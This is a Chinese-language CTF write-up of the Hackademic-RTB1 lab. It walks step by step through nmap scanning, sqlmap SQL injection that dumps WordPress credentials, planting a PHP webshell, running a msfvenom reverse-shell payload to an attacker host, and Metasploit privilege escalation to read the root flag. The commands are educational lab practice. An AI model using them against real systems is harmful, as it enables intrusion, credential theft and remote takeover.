CTF入门:以Hackademic-RTB1靶场为例初识夺旗
一、网络扫描
靶机ip地址为192.168.12.24
使用nmap工具进行端口扫描
nmap -sT 192.168.12.24
二、信息收集
1、80端口探索
靶机开放了80和22端口,使用浏览器访问靶机的80端口,界面如下:
点击target发现有跳转,并且url发生相应变化。下面两处也有跳转
点击uncategorized,url发生变化,尝试在cat=1后面加上单引号,测试是否存在sql注入
加入单引号后,页面报错了,还将sql语句打印出来了,说明存在sql注入漏洞,在终端中使用sqlmap工具对这个链接进行注入测试
2、SQL注入(使用sqlmap扫描)
http://192.168.12.24/Hackademic_RTB1/?cat=1
2.1爆所有库名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 --dbs --batch
2.2查询当前数据库表名
从数据库的名称猜测网站使用的是wordpress建站系统,先获取一下wordpress库中数据表名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress --tables
2.3获取wp_users表下所有列名
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns
2.4爆用户名及密码
sqlmap -u http://192.168.12.24/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users -C user_nickname,user_pass --dump --batch
爆破出明文密码了
三、使用AntSword工具
1、登录后台
我们猜测站点为wordpress,使用login.php访问后台失败,根据前面的表名我们猜测后台为wp-login.php
2、查找可利用点
使用爆破出来的用户和密码进行登录,最终发现GeorgeMiller/q1w2e3为管理员,在Manage下file里可以修改php文件,直接修改hello.php文件,添加一句话木马,并更新文件
这里hello.php文件的路径已经给出来,我们可以直接使用AntSword进行连接
成功连接后进入终端
输入id查看权限,实验的目的是获取存在于/root目录下的Key.txt文件,直接使用当前shell读取时发现权限不够
四、反弹shell
1、生成木马
需要将权限提升到root权限,可以使用msf中的检测提升权限的模块,这样就需要先生成一个
msf的木马上传到服务器中,在kali中打开一个终端,输入命令生成一个木马文件
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.12.200 LPORT=4444 -f elf -o /root/Desktop/shell
2、设置端口
然后在终端中启动msf并监听4444端口
3、上传木马到蚁剑并执行
将生成的shell文件通过AntSword上传到目标服务器中。切换到AntSword主页面然后双击shell链接会打开AntSword的文件管理界面
再切换到虚拟终端界面,使用chmod +x ./shell给文件加上可执行权限,然后输入./shell执行文件
4、反弹shell成功,开启监听
执行完上面的命令后就会在msf收到反弹的shell了
因为要用到msf中的其他模块,所以先将此meterpreter的shell放到后台,在上面shell中输入background
五、提权
从上面中可以看到后台的shell编号为1,这个后面要用到,使用msf中的后渗透模块post/multi/recon/local_exploit_suggester,然后设置session为2,设置完成后输入run进行攻击
尝试使用其中的exploit/linux/local/rds_rds_page_copy_user_priv_esc模块,然后根据options中的提示设置session、lhost、lport,全部设置完成后输入run进行攻击。
六、获取flag
读取/root下的key.txt文件
获取flag:flag{6d73f0c141dd7faf24dc9393792ebecc}